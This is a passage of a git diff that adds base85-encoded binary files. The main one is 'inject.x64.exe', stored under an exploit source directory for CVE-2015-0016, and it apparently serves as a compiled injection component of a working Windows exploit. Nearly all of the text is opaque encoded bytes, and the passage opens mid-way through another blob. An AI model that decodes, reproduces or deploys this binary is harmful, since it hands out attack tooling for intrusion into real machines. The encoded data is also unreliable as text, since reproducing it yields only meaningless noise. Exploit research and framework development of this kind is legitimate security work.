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 TzM}tcz|wCCu$>GF^Pvp@6YZTD literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/inject.x64.exe b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe new file mode 100755 index 0000000000000000000000000000000000000000..2ad745e035f50e4bbb7125622f5b9a4721dcf2fe GIT binary patch literal 75264 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 